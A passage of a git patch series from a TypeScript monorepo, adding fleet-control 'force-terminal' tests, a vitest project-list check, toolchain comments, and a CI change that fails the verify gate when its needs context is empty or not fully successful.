present(state.proofs.decommission.a).databaseId, + scriptName: present(state.proofs.decommission.a).scriptName, + }; + state.proofs.terminalForce = { a: null }; + present(state.proofs.steps[0]).step = 'arm-maintenance'; + present(state.proofs.steps[1]).step = 'arm-maintenance'; + state.proofs.restart = restartProof(target.f, { + resumedProcess: { ...RESUMED }, + replayOrdinal: 3, + }) as MutableScenario['proofs']['restart']; + state.records[0] = { + role: 'a', + present: false, + phase: null, + desiredSpecDigest: null, + pendingSpecDigest: null, + artifactVersion: null, + pendingArtifactVersion: null, + databaseId: null, + }; + }); + const proof = { + databaseId: present(state.proofs.decommission.a).databaseId, + scriptName: present(state.proofs.decommission.a).scriptName, + ordinal: 3, + attempts, + }; + if (persisted) state.proofs.terminalForce.a = proof; + const frozen = JSON.stringify(state.proofs.terminalForce); + await expect(target.journal.recordScenario(state)).resolves.toBeUndefined(); + expect(stored(target).phase).toBe('force-terminal-a'); + const { invocation, actions } = reference(target, { interrupted: true }); + const absent: DirectInvocationClient = { + async invoke(action) { + const outcome = await invocation.invoke(action); + if (action.kind !== 'control-read') return outcome; + const result = outcome.result as { records: { role: string }[] }; + return { + ...outcome, + result: { + ...result, + records: result.records.map((record) => + record.role === 'a' ? { role: 'a', present: false } : record, + ), + }, + }; + }, + }; + const result = await run(target, absent); + expect( + actions.filter((action) => action.kind === 'force-terminal'), + ).toEqual([]); + if (provider || identity !== 'matching') { + expect(result).toMatchObject({ + status: 'failed', + reason: 'observation-mismatch', + phase: 'force-terminal-a', + }); + expect(stored(target).proofs.terminalForce.a).toBeNull(); + } else { + expect(stored(target).phase).toBe('force-recovery'); + expect(stored(target).proofs.terminalForce.a).toEqual(proof); + if (persisted) + expect(JSON.stringify(stored(target).proofs.terminalForce)).toBe( + frozen, + ); + } + }); + + it.each([ + ['matching identity', 'matching', null], + ['absent row', null, null], + ['missing identity', undefined, null], + [ + 'extra identity key', + { databaseId: 'db', scriptName: 'script', extra: true }, + null, + ], + ['non-string databaseId', { databaseId: 1, scriptName: 'script' }, null], + ['non-string scriptName', { databaseId: 'db', scriptName: null }, null], + ['array identity', [], null], + ['lost response', undefined, 'injected-response-loss'], + ['refused response', undefined, 'reference-refused'], + ] as const)('terminal force settlement: %s', async (_title, witness, failure) => { + const target = await scenarioJournal(DIRECT_SCENARIO_MIN_INVOCATIONS); + const state = seed('force-terminal-a', (state) => { + state.proofs.terminalForce = { a: null }; + present(state.proofs.steps[0]).step = 'arm-maintenance'; + present(state.proofs.steps[1]).step = 'arm-maintenance'; + state.proofs.restart = restartProof(target.f, { + resumedProcess: { ...RESUMED }, + replayOrdinal: 3, + }) as MutableScenario['proofs']['restart']; + }); + const before = + witness === 'matching' + ? { + databaseId: present(state.proofs.decommission.a).databaseId, + scriptName: present(state.proofs.decommission.a).scriptName, + } + : witness; + await target.journal.recordScenario(state); + const { invocation, actions } = reference(target, { interrupted: true }); + const force: DirectInvocationClient = { + async invoke(action) { + if (action.kind !== 'force-terminal') return invocation.invoke(action); + actions.push(action); + const reservation = await target.journal.reserveInvocation( + target.f.request(action), + ); + await target.journal.settleInvocation(reservation); + const attempts = { provider: 0, maintenance: 0, application: 0 }; + if (failure) throw new DirectInvocationError(failure, attempts); + return { + result: { returned: true, before, after: { present: false } }, + attempts, + }; + }, + }; + let settled: DirectScenarioState['mutation'] = null; + const journal: DirectRunJournal = { + ...target.journal, + async recordScenario(value) { + await target.journal.recordScenario(value); + const call = stored(target).mutation; + if ( + call?.action.kind === 'force-terminal' && + call.outcome !== 'prepared' + ) { + settled = call; + } + }, + }; + const result = await runDirectCredentialedScenario({ + prepared: target.f.prepared, + journal, + invocation: force, + apiToken: 'inert', + }); + expect(result).toMatchObject({ + status: 'failed', + phase: 'force-terminal-a', + reason: + failure === 'reference-refused' ? failure : 'observation-mismatch', + }); + expect( + actions.filter((action) => action.kind === 'force-terminal'), + ).toHaveLength(1); + expect(stored(target).proofs.terminalForce.a).toBeNull(); + if (failure || witness === null || witness === 'matching') { + expect(settled).toMatchObject({ + outcome: failure ?? 'returned', + before: failure ? null : before, + attempts: { provider: 0, maintenance: 0, application: 0 }, + }); + } else { + expect(settled).toBeNull(); + expect(stored(target).mutation?.outcome).toBe('prepared'); + expect(stored(target).mutation).not.toHaveProperty('before'); + expect(stored(target).failure?.code).toBe('observation-mismatch'); + } + }); + it('refuses a control read that repeats an operation slot', async () => { const target = await scenarioJournal(DIRECT_SCENARIO_MIN_INVOCATIONS); await target.journal.recordScenario( diff --git a/packages/fleet-control/test/direct-reference-contract.test.ts b/packages/fleet-control/test/direct-reference-contract.test.ts index 49c2e223..bbeb4bbf 100644 --- a/packages/fleet-control/test/direct-reference-contract.test.ts +++ b/packages/fleet-control/test/direct-reference-contract.test.ts @@ -62,6 +62,7 @@ const actions: readonly DirectReferenceAction[] = [ { kind: 'decommission-export', role: 'a' }, { kind: 'decommission-continue', role: 'b' }, { kind: 'decommission-restart-blocked', role: 'recovery', token: [] }, + { kind: 'force-terminal', role: 'a' }, { kind: 'force-recovery' }, { kind: 'force-observe' }, { kind: 'recover-force-residual' }, @@ -144,6 +145,10 @@ describe('direct reference request contract', () => { { kind: 'decommission-continue' }, { kind: 'decommission-export', role: 'other' }, { kind: 'decommission-export', role: 'a', view: 'bytes' }, + { kind: 'force-terminal', role: 'a', extra: true }, + { kind: 'force-terminal' }, + { kind: 'force-terminal', role: 'b' }, + { kind: 'force-terminal', role: 'recovery' }, { kind: 'force-recovery', role: 'a' }, { kind: 'tenant-fence', role: 'a', operation: 'drain' }, { diff --git a/packages/fleet-control/test/direct-reference-lifecycle.harness.test.ts b/packages/fleet-control/test/direct-reference-lifecycle.harness.test.ts index 085adad9..da7c4181 100644 --- a/packages/fleet-control/test/direct-reference-lifecycle.harness.test.ts +++ b/packages/fleet-control/test/direct-reference-lifecycle.harness.test.ts @@ -552,6 +552,89 @@ describe.sequential('private force through native control state', { return { ready, receipt }; } + it('force terminal guards the leased identity and clears a terminal row without provider requests', async () => { + const fixture = await createDirectReferenceHarness(); + try { + const names = fixture.manifest.names.roles.a; + const environment = fixture.manifest.environment; + const action = { kind: 'force-terminal', role: 'a' } as const; + await fixture.success({ + kind: 'provision', + role: 'a', + release: 'initial', + }); + const ready = await fixture.fleetStore.get(names.tenantTag, environment); + if (!ready) throw new Error('ready row is missing'); + const refused = await fixture.call(action); + expect(refused.response.status).toBe(409); + expect(refused.response.headers.get('X-Direct-Provider-Attempts')).toBe( + '0', + ); + await fixture.success({ kind: 'decommission-start', role: 'a' }); + const active = await fixture.fleetStore.get(names.tenantTag, environment); + if (!active?.decommissionIntent) + throw new Error('decommission intent is missing'); + // The store rejects this phase/intent pair on write, so corrupt the row + // through SQL to exercise refusal at the native read boundary. + await fixture.db + .prepare( + "UPDATE anchorage_fleet_deployments SET phase = 'decommissioned' WHERE tenant_tag = ? AND environment = ?", + ) + .bind(names.tenantTag, environment) + .run(); + expect((await fixture.call(action)).response.status).toBe(500); + await fixture.db + .prepare( + 'UPDATE anchorage_fleet_deployments SET phase = ? WHERE tenant_tag = ? AND environment = ?', + ) + .bind(active.phase, names.tenantTag, environment) + .run(); + await fixture.fleetStore.withDeploymentLease( + names.tenantTag, + environment, + (lease) => + lease.put({ + ...ready, + phase: 'decommissioned', + scriptName: fixture.manifest.names.roles.b.scriptName, + }), + ); + expect((await fixture.call(action)).response.status).toBe(409); + await fixture.fleetStore.withDeploymentLease( + names.tenantTag, + environment, + (lease) => lease.put({ ...ready, phase: 'decommissioned' }), + ); + const requests = fixture.projection.requests.length; + const cleared = await fixture.call(action); + expect(cleared.response.status).toBe(200); + expect(cleared.response.headers.get('X-Direct-Provider-Attempts')).toBe( + '0', + ); + expect(cleared.value.result).toEqual({ + returned: true, + before: { databaseId: ready.databaseId, scriptName: ready.scriptName }, + after: { present: false }, + }); + expect( + await fixture.fleetStore.get(names.tenantTag, environment), + ).toBeUndefined(); + const repeated = await fixture.call(action); + expect(repeated.response.status).toBe(200); + expect(repeated.response.headers.get('X-Direct-Provider-Attempts')).toBe( + '0', + ); + expect(repeated.value.result).toEqual({ + returned: true, + before: null, + after: { present: false }, + }); + expect(fixture.projection.requests).toHaveLength(requests); + } finally { + await fixture.close(); + } + }); + it('preserves force witnesses and resumes settled residual cleanup after exhausting the provider budget', async () => { const fixture = await createDirectReferenceHarness(); try { diff --git a/packages/fleet-control/test/fixtures/direct-run-state-builder.ts b/packages/fleet-control/test/fixtures/direct-run-state-builder.ts index 95550d86..55d91c74 100644 --- a/packages/fleet-control/test/fixtures/direct-run-state-builder.ts +++ b/packages/fleet-control/test/fixtures/direct-run-state-builder.ts @@ -312,6 +312,9 @@ export function inventoryProof() { databaseIds: [MAX_ID, MAX_ID], namespaceIds: Array.from({ length: 4 }, () => MAX_ID), scriptNames: [MAX_ID, MAX_ID], + routeHostnames: Array.from({ length: 2 }, () => + [63, 63, 63, 61].map((length) => 'a'.repeat(length)).join('.'), + ), bucketNames: [MAX_ID, MAX_ID], findings: Array.from({ length: 32 }, () => ({ kind: MAX_ID, @@ -336,7 +339,9 @@ export function auditProof() { }; } -export function maximalScenario(): MutableScenario { +export function maximalScenario( + callKind: 'audit-page' | 'force-terminal' = 'force-terminal', +): MutableScenario { const fenceReading = () => ({ state: 'migration-locked' as const, mutationEpoch: MAX_COUNT, @@ -395,6 +400,15 @@ export function maximalScenario(): MutableScenario { itemsSha256: DIGEST, }, }; + const selectedCall = + callKind === 'force-terminal' + ? { + ...call, + action: { kind: 'force-terminal' as const, role: 'a' as const }, + migration: null, + before: { databaseId: MAX_ID, scriptName: MAX_ID }, + } + : call; return { version: 1, phase: 'provision-a', @@ -408,8 +422,8 @@ export function maximalScenario(): MutableScenario { }, sdkRequests: MAX_COUNT, inventoryCalls: { before: MAX_COUNT, after: MAX_COUNT }, - lastCall: call, - mutation: call, + lastCall: selectedCall, + mutation: selectedCall, reconciledOrdinal: 3, operations: DIRECT_SCENARIO_OPERATION_SLOTS.map((slot) => ({ slot, @@ -564,6 +578,18 @@ export function maximalScenario(): MutableScenario { phase: 'decommissioned' as const, }, }, + terminalForce: { + a: { + databaseId: MAX_ID, + scriptName: MAX_ID, + ordinal: 3, + attempts: { + provider: MAX_COUNT, + maintenance: MAX_COUNT, + application: MAX_COUNT, + }, + }, + }, force: footprint(), residual: footprint(), }, From 90bcbf53ea967bb2ac2542e455350568d444ec28 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 16 Sep 2026 09:00:40 +0400 Subject: [PATCH 161/169] chore: check root vitest projects and record the toolchain The root `pnpm.overrides` key `miniflare@5.20260730.0-alpha>workerd` moves into sorted position; the key set and every value are unchanged. `pnpm-lock.yaml` carries no hunk: pnpm 10.34.4 compares the overrides map order-insensitively, so an offline `install --lockfile-only` leaves the lockfile byte-identical, and an offline `install --frozen-lockfile` exits 0 against the reordered manifest. `scripts/architecture-positive-controls.test.mjs` gains a free-standing control over the root `vitest.config.ts` `projects` list. Each entry globs to at least one existing file; the resolved set is the four root project configs, the fleet-control direct-scenario config and one `vitest.config.ts` per package that has one; the direct-scenario project is named `fleet-control-direct-scenario`, the name the root `--project` scripts pass; and each of that project's `include` entries globs to a file and appears in the fleet-control package project's `exclude`. The control parses the configs with the TypeScript compiler API and globs the tree; it starts no vitest run. `tsconfig.harness.json` includes `packages/fleet-control/vitest.direct-scenario.config.ts` and `vitest.workerd-lifecycle.config.ts`, two of the root-registered project configs that no tsconfig program compiled. Comments record the projects list's selection scripts and CI jobs, the placement rule for package-local project configs and the standalone project's non-inheritance (`vitest.config.ts`); the miniflare the Workers pool resolves, the workerd that miniflare declares, the override that re-points it, the pool-upgrade rule, and the file-relative `configPath` beside the repository-relative `include` (`vitest.breakwater-workers.config.mts`); and the override's reach into the showcase Vite plugin (`packages/showcase/vite.config.ts`). A comment in `scripts/baseline-recorder.mjs` and a sentence in `scripts/CLAUDE.md` state that `--check` compares the exports `config.exports` declares and leaves a committed export without a declaration uncompared; the recorder's code is unchanged. `.dependency-cruiser.cjs` is unchanged: `no-new-architecture-cycles` still omits `packages/breakwater/src` from its `from.path`. Widening it there reports thirteen pre-existing cycles through the breakwater barrels, so the widening lands with the change that removes them. Co-Authored-By: Claude Fable 5.1 --- package.json | 4 +- packages/showcase/vite.config.ts | 6 + scripts/CLAUDE.md | 2 +- .../architecture-positive-controls.test.mjs | 105 +++++++++++++++++- scripts/baseline-recorder.mjs | 3 + tsconfig.harness.json | 4 +- vitest.breakwater-workers.config.mts | 13 +++ vitest.config.ts | 14 ++- 8 files changed, 145 insertions(+), 6 deletions(-) diff --git a/package.json b/package.json index 8ea34e6c..a57a0b46 100644 --- a/package.json +++ b/package.json @@ -87,9 +87,9 @@ "ip-address": "10.3.1", "js-yaml@3": "3.15.1", "js-yaml@4": "4.3.1", + "miniflare@5.20260730.0-alpha>workerd": "1.20260903.1", "nanoid@3": "3.3.17", - "undici": "7.29.0", - "miniflare@5.20260730.0-alpha>workerd": "1.20260903.1" + "undici": "7.29.0" }, "patchedDependencies": { "@mastra/core@1.53.0": "packages/flowsafe/patches/@mastra__core@1.53.0.patch" diff --git a/packages/showcase/vite.config.ts b/packages/showcase/vite.config.ts index 012c7814..af336094 100644 --- a/packages/showcase/vite.config.ts +++ b/packages/showcase/vite.config.ts @@ -9,6 +9,12 @@ const src = (path: string) => new URL(path, import.meta.url).pathname; // so API requests, bindings, Durable Objects, and WebSockets use the deployed // topology while Vite bundles the SPA and approval-ui components. export default defineConfig({ + // The root pnpm override `miniflare@5.20260730.0-alpha>workerd` (package.json) + // selects a miniflare version rather than a consumer, so it reaches this + // plugin as well as the Workers test pool: the miniflare that + // @cloudflare/vite-plugin 1.50.0 resolves runs on workerd 1.20260903.1, while + // the plugin's own workerd dependency stays 1.20260730.1. The showcase accepts + // that local dev and build runtime; the override keeps its approved selector. plugins: [react(), cloudflare()], resolve: { // Mirrors tsconfig.json paths — @/ (SPA) and @flowsafe/ (deep DOM-free diff --git a/scripts/CLAUDE.md b/scripts/CLAUDE.md index f1583290..491d3a46 100644 --- a/scripts/CLAUDE.md +++ b/scripts/CLAUDE.md @@ -32,7 +32,7 @@ Repository documentation, architecture, and publication checks. Markdown syntax Run a recorder manually with an explicit mode. Use `--check` to compare derived values without writing, or `--write` to replace the configured baseline and format it with Biome. Missing, unknown, or conflicting modes return status 2. -`--check` compares configured exports. It does not establish refusal-guard coverage; retain the ordinary guard tests and architecture checks alongside the golden assertions. +`--check` compares the exports a recorder's `exports` declarations name: each declaration selects one export from the committed generated module and the derived value it is compared with. An export the committed module holds without a matching declaration is compared against nothing. `--check` does not establish refusal-guard coverage; retain the ordinary guard tests and architecture checks alongside the golden assertions. Run these checks before accepting a generated-file change: diff --git a/scripts/architecture-positive-controls.test.mjs b/scripts/architecture-positive-controls.test.mjs index 1e2ace28..830f6cb6 100644 --- a/scripts/architecture-positive-controls.test.mjs +++ b/scripts/architecture-positive-controls.test.mjs @@ -1,7 +1,8 @@ import assert from 'node:assert/strict'; import { spawnSync } from 'node:child_process'; +import { existsSync, globSync, readdirSync, readFileSync } from 'node:fs'; import { builtinModules, createRequire, isBuiltin } from 'node:module'; -import { relative } from 'node:path'; +import { join, relative } from 'node:path'; import test from 'node:test'; import { fileURLToPath } from 'node:url'; @@ -380,6 +381,108 @@ test('every extra cruise entry is keyed by an architecture rule', () => { } }); +// Membership is resolved by parsing the config sources: loading the projects +// through vitest would pull the Workers pool and workerd into this process. +test('every root vitest project resolves the files it declares', () => { + const fleetRequire = createRequire( + new URL('../packages/fleet-control/package.json', import.meta.url), + ); + const ts = fleetRequire('typescript'); + const root = fileURLToPath(new URL('..', import.meta.url)); + const parse = (configPath) => { + const fileName = join(root, configPath); + return ts.createSourceFile( + fileName, + readFileSync(fileName, 'utf8'), + ts.ScriptTarget.Latest, + true, + ); + }; + const initializerOf = (source, property, configPath) => { + const found = []; + const visit = (node) => { + if ( + ts.isPropertyAssignment(node) && + ts.isIdentifier(node.name) && + node.name.text === property + ) { + found.push(node.initializer); + } + ts.forEachChild(node, visit); + }; + visit(source); + assert.equal(found.length, 1, `${configPath} sets '${property}' once`); + return found[0]; + }; + const stringsOf = (source, property, configPath) => { + const initializer = initializerOf(source, property, configPath); + assert.ok( + ts.isArrayLiteralExpression(initializer), + `${configPath} sets '${property}' to an array literal`, + ); + return initializer.elements + .filter((element) => ts.isStringLiteralLike(element)) + .map((element) => element.text); + }; + + const entries = stringsOf( + parse('vitest.config.ts'), + 'projects', + 'vitest.config.ts', + ); + const resolved = new Set(); + for (const entry of entries) { + const matches = globSync(entry, { cwd: root }); + assert.ok(matches.length > 0, `root project '${entry}' resolves no file`); + for (const match of matches) { + resolved.add(match.split('\\').join('/')); + } + } + const packageProjects = readdirSync(join(root, 'packages'), { + withFileTypes: true, + }) + .filter((entry) => entry.isDirectory()) + .map((entry) => `packages/${entry.name}/vitest.config.ts`) + .filter((configPath) => existsSync(join(root, configPath))); + assert.deepEqual( + [...resolved].sort(), + [ + ...packageProjects, + 'packages/fleet-control/vitest.direct-scenario.config.ts', + 'vitest.breakwater-workers.config.mts', + 'vitest.flowsafe-harness.config.ts', + 'vitest.flowsafe-workers.config.ts', + 'vitest.workerd-lifecycle.config.ts', + ].sort(), + ); + + const directPath = 'packages/fleet-control/vitest.direct-scenario.config.ts'; + const direct = parse(directPath); + const projectName = initializerOf(direct, 'name', directPath); + assert.ok( + ts.isStringLiteralLike(projectName), + `${directPath} names its project with a string literal`, + ); + assert.equal(projectName.text, 'fleet-control-direct-scenario'); + const directInclude = stringsOf(direct, 'include', directPath); + const packageExclude = stringsOf( + parse('packages/fleet-control/vitest.config.ts'), + 'exclude', + 'packages/fleet-control/vitest.config.ts', + ); + assert.ok(directInclude.length > 0, `${directPath} includes no file`); + for (const entry of directInclude) { + assert.ok( + globSync(entry, { cwd: join(root, 'packages/fleet-control') }).length > 0, + `fleet-control-direct-scenario include '${entry}' resolves no file`, + ); + assert.ok( + packageExclude.includes(entry), + `the package project does not exclude '${entry}'`, + ); + } +}); + for (const [ruleName, fixture] of Object.entries(controls)) { test(`${ruleName} rejects its positive control`, () => { const entries = [fixture, ...(extraEntries[ruleName] ?? [])]; diff --git a/scripts/baseline-recorder.mjs b/scripts/baseline-recorder.mjs index 0a4b747e..08045b3a 100644 --- a/scripts/baseline-recorder.mjs +++ b/scripts/baseline-recorder.mjs @@ -367,6 +367,9 @@ async function main(config, argv) { ); return 1; } + // `config.exports` drives the comparison: each declaration selects one + // committed export by `name` and its derived counterpart by `key`, so a + // committed export with no matching declaration is compared against nothing. const committed = await import(pathToFileURL(baselineFilePath).href); const differences = config.exports.flatMap((declaration) => structuralDifferences( diff --git a/tsconfig.harness.json b/tsconfig.harness.json index a89c0fa7..9696248f 100644 --- a/tsconfig.harness.json +++ b/tsconfig.harness.json @@ -6,6 +6,7 @@ }, "include": [ "packages/breakwater/worker-tests/**/*.ts", + "packages/fleet-control/vitest.direct-scenario.config.ts", "packages/flowsafe/src/cloudflare-fidelity.workerd.test.ts", "packages/flowsafe/test-support/cloudflare-test-worker.ts", "packages/flowsafe/test-support/harness-probe.ts", @@ -14,6 +15,7 @@ "vitest.config.ts", "vitest.breakwater-workers.config.mts", "vitest.flowsafe-harness.config.ts", - "vitest.flowsafe-workers.config.ts" + "vitest.flowsafe-workers.config.ts", + "vitest.workerd-lifecycle.config.ts" ] } diff --git a/vitest.breakwater-workers.config.mts b/vitest.breakwater-workers.config.mts index 4c9e2f36..2beb9660 100644 --- a/vitest.breakwater-workers.config.mts +++ b/vitest.breakwater-workers.config.mts @@ -3,6 +3,19 @@ import { fileURLToPath } from 'node:url'; import { cloudflareTest } from '@cloudflare/vitest-pool-workers'; import { defineConfig } from 'vitest/config'; +// The Workers pool for the breakwater worker-tests suite, on a split toolchain: +// @cloudflare/vitest-pool-workers resolves miniflare 5.20260730.0-alpha, which +// depends on workerd 1.20260730.1, and the root pnpm override +// `miniflare@5.20260730.0-alpha>workerd` (package.json) re-points that workerd to +// 1.20260903.1. An upgrade of the pool re-points the override to the workerd the +// new miniflare depends on, or deletes the override once the pool resolves a +// miniflare whose own workerd is the wanted one. +// +// `wrangler.configPath` and the test `include` resolve against different bases. +// `configPath` is file-relative, built from `import.meta.url`. The `include` is +// repository-relative: this config declares no `root`, so vitest resolves the +// pattern from the workspace root. Declaring `root` rebases the `include` and +// leaves `configPath` where it is. export default defineConfig({ plugins: [ cloudflareTest({ diff --git a/vitest.config.ts b/vitest.config.ts index 50fea5e2..26c207a2 100644 --- a/vitest.config.ts +++ b/vitest.config.ts @@ -2,11 +2,23 @@ import { defineConfig } from 'vitest/config'; // One `vitest` process for the whole workspace: `pnpm test` / `pnpm test:watch` // at the root run every package's suite (each with its own config/aliases), -// with unified reporting and cross-package watch. +// with unified reporting and cross-package watch. Root `package.json` splits +// that run by project name for CI: `test:without-direct-scenario` and +// `test:direct-scenario` pass `--project`, and the `verify-core` and +// `direct-scenario` jobs in `.github/workflows/ci.yml` run one each. export default defineConfig({ test: { projects: [ + // Placement rule: a package's default suite arrives through this glob. + // A package-local config naming a second, non-default file set does not + // match the glob and is registered by its explicit path, as the entry + // below is. It sits beside its package so the package's own `test` + // script can run it with a package-relative `--config`, which names a + // config file rather than a project. 'packages/*/vitest.config.ts', + // Standalone: this config imports nothing from + // `packages/fleet-control/vitest.config.ts`, so an option added there + // does not reach these two suites; `testTimeout` is set in both files. 'packages/fleet-control/vitest.direct-scenario.config.ts', 'vitest.*-workers.config.*', 'vitest.flowsafe-harness.config.ts', From 7a7838ea811529ddcb708712145af0fefb76d9b6 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 16 Sep 2026 09:25:12 +0400 Subject: [PATCH 162/169] ci: fail the verify gate on an empty needs context and cap the Test step The `verify` job's step in `.github/workflows/ci.yml` asserts `to_entries | length > 0 and all(.value.result == "success")` over the `needs` context, so an emptied `needs` list fails the required check instead of passing it with nothing verified. A non-empty context passes only when every entry reports `success`, the listing of each entry's result runs first, and `jq -e`'s exit status is the step's result. The comment above the job states that assertion and keeps the reason for `if: always()`: without it the job would be skipped, and GitHub reports a skipped job as success for a required check. It drops the sentence that a timed-out or never-run dependency requires `always()` and nothing narrower, and the block is rewrapped. `scripts/github-yaml-check.test.mjs` gains the case `the ci.yml gate rejects an empty or non-success needs context`. It parses the tracked workflow, takes the single `run` step of the `verify` job, and runs that script under `bash` with `NEEDS` set to an empty object, to two `success` entries, and to three contexts pairing a `success` entry with `failure`, `cancelled` and `skipped`, asserting the exit status and the result listing on stdout for each. Without `jq` on `PATH` the case skips with a stated reason. The `concurrency` group `ci-${{ github.event_name }}-${{ github.ref }}` with `cancel-in-progress: true` cancels an in-flight run of the same event and ref. The event name is part of the key, so the push run and the pull_request run for one commit sit in different groups. The push and pull_request triggers are unchanged. The Test step carries `timeout-minutes: 30`, about 1.8x the slowest measured run of that step (968 s) and inside the 45-minute cap on `verify-core`. Its comment states that derivation and records that the Typecheck step produces the fleet-control dist the step consumes. The 35-minute measurement of the `direct-scenario` job stays in that job's comment, above the cap it justifies, and no longer appears in the Test-step comment. That job's build step is named `Build fleet-control and its prerequisites`, and the comment on the packed fleet-control step names the `./workers/*` export entries; neither states a count. Other comments in the file still carry counts. The note in `.github/workflows/release.yml` states that `verify` is the required check on a pull request into `main` and not on a push to it, and that repeating the check in the release job fails before the publish step. No changeset: the change is two workflows and one test script. Co-Authored-By: Claude Fable 5.1 --- .github/workflows/ci.yml | 40 ++++++++++------ .github/workflows/release.yml | 9 ++-- scripts/github-yaml-check.test.mjs | 73 +++++++++++++++++++++++++++++- 3 files changed, 103 insertions(+), 19 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index bd3ac448..2fbadb25 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -6,6 +6,14 @@ on: pull_request: branches: [main, dev] +# A new run cancels the in-flight one for the same ref and event. The event +# name is part of the key, so the push run and the pull_request run for one +# commit sit in different groups and neither cancels the run the required +# check reads. +concurrency: + group: ci-${{ github.event_name }}-${{ github.ref }} + cancel-in-progress: true + # These jobs only read the repo — and the compat job deliberately executes # packages younger than the workspace release-age buffer, so the token it # can reach must stay read-only. @@ -48,8 +56,13 @@ jobs: # Root vitest workspace: every package's suite in one process, minus the # direct scenario project, which the `direct-scenario` job below runs at - # the same time (about 35 minutes on its own). + # the same time. The Typecheck step above produces the fleet-control dist + # this step consumes: fleet-control's `pretypecheck` runs its `prebuild` + # and `build`. + # The cap is about 1.8x the slowest measured run of this step (968 s), so + # it clears a slow run and still trips inside the job cap above. - name: Test + timeout-minutes: 30 run: pnpm test:without-direct-scenario - name: Build @@ -79,7 +92,7 @@ jobs: - name: Verify packed breakwater surface run: pnpm test:packed-breakwater - # Three of fleet-control's four export entries are Workers entry points + # fleet-control's `./workers/*` export entries are Workers entry points # that no in-repo consumer reaches through the package boundary, so Build # proves nothing about its export map. Pack and consume the tarball, and # assert the trusted-configuration constructor still fails closed in the @@ -165,23 +178,22 @@ jobs: - name: Install (frozen lockfile) run: pnpm install --frozen-lockfile - - name: Build the three packages + - name: Build fleet-control and its prerequisites run: pnpm --filter @proofoftech/fleet-control build - name: Direct scenario suites (workerd) run: pnpm test:direct-scenario # The `protect main` ruleset requires the status check named `verify`. This - # job is that check: it depends on the gating jobs and fails unless every job - # in its `needs` reports success, so a red or cancelled `direct-scenario` - # blocks a merge to main exactly as a red `verify-core` does, and a job added - # to `needs` is gating without a further edit (the assertion reads the whole - # `needs` context). `if: always()` makes it run when a - # dependency fails or is cancelled; without it the job would be skipped, - # and GitHub reports a skipped job as success for a required check. - # A dependency that timed out reports `cancelled`, and one that never ran - # reports `skipped`; both must reach the assertion below, so the job runs - # under `always()` and nothing narrower. + # job is that check: it depends on the gating jobs and fails unless `needs` + # carries at least one entry and every entry reports success, so a red or + # cancelled `direct-scenario` blocks a merge to main exactly as a red + # `verify-core` does, a job added to `needs` is gating without a further edit + # (the assertion reads the whole `needs` context), and an emptied `needs` + # list fails the check instead of passing it with nothing verified. + # `if: always()` makes the job run when a dependency fails or is cancelled; + # without it the job would be skipped, and GitHub reports a skipped job as + # success for a required check. verify: runs-on: ubuntu-latest timeout-minutes: 5 @@ -193,7 +205,7 @@ jobs: NEEDS: ${{ toJSON(needs) }} run: | printf '%s' "$NEEDS" | jq -r 'to_entries[] | "\(.key): \(.value.result)"' - printf '%s' "$NEEDS" | jq -e 'to_entries | all(.value.result == "success")' > /dev/null + printf '%s' "$NEEDS" | jq -e 'to_entries | length > 0 and all(.value.result == "success")' > /dev/null # Mastra compat matrix: the libraries pin behavioral contracts to # @mastra/core internals (resume-context merge-over semantics, snapshot diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 30859b9f..8705a22f 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -67,10 +67,11 @@ jobs: run: pnpm build # ci.yml runs this too, but ci.yml and this workflow start CONCURRENTLY on - # a push to main and main requires no status check, so a red CI cannot - # stop a publish. Repeating it here fails in this job, before the publish - # step, on this checkout. It is fully offline and adds no new dependency, but - # it runs each prerequisite's prepack build, so it is not free. + # a push to main, and `verify` is the required check on a pull request + # into main, not on a push to it, so a red CI cannot stop a publish. + # Repeating it here fails in this job, before the publish step, on this + # checkout. It is fully offline and adds no new dependency, but it runs + # each prerequisite's prepack build, so it is not free. - name: Verify release publish invocation run: pnpm test:release-invocation diff --git a/scripts/github-yaml-check.test.mjs b/scripts/github-yaml-check.test.mjs index b7027531..b156022d 100644 --- a/scripts/github-yaml-check.test.mjs +++ b/scripts/github-yaml-check.test.mjs @@ -1,19 +1,25 @@ import assert from 'node:assert/strict'; +import { spawnSync } from 'node:child_process'; import { mkdirSync, mkdtempSync, + readFileSync, rmSync, symlinkSync, writeFileSync, } from 'node:fs'; import { tmpdir } from 'node:os'; -import { basename, dirname, join } from 'node:path'; +import { basename, dirname, join, resolve } from 'node:path'; import { afterEach, test } from 'node:test'; +import { fileURLToPath } from 'node:url'; +import { parse } from 'yaml'; import { checkGithubYamlFiles, runGithubYamlCheck, } from './github-yaml-check.mjs'; +const repositoryRoot = resolve(dirname(fileURLToPath(import.meta.url)), '..'); + const temporaryDirectories = []; afterEach(() => { @@ -43,6 +49,28 @@ function captureRun(githubDirectory) { return { exitCode, stderr, stdout }; } +// The assertion is read out of the tracked workflow, not restated here, so the +// case evaluates what ships rather than a copy of it. +function verifyGateScript() { + const workflow = parse( + readFileSync(join(repositoryRoot, '.github/workflows/ci.yml'), 'utf8'), + ); + const steps = workflow.jobs.verify.steps.filter((step) => 'run' in step); + assert.equal(steps.length, 1, 'the verify gate job has one run step'); + return steps[0].run; +} + +function runVerifyGate(script, needs) { + return spawnSync('bash', ['-e', '-c', script], { + encoding: 'utf8', + env: { ...process.env, NEEDS: JSON.stringify(needs) }, + }); +} + +function resultListing(needs) { + return Object.entries(needs).map(([job, { result }]) => `${job}: ${result}`); +} + test('counts a valid YAML mapping', () => { const result = checkGithubYamlFiles( fixture({ 'workflow.yml': 'name: CI\n' }), @@ -364,3 +392,46 @@ test('prints parser warnings without failing the run', () => { ); assert.equal(run.stdout, 'GitHub YAML check passed (1 files).\n'); }); + +test('the ci.yml gate rejects an empty or non-success needs context', (t) => { + if (spawnSync('jq', ['--version']).status !== 0) { + t.skip('jq is not on PATH, so the gate assertion cannot be evaluated'); + return; + } + + const script = verifyGateScript(); + const cases = [ + { needs: {}, succeeds: false }, + { + needs: { + 'verify-core': { result: 'success' }, + 'direct-scenario': { result: 'success' }, + }, + succeeds: true, + }, + ...['failure', 'cancelled', 'skipped'].map((result) => ({ + needs: { + 'verify-core': 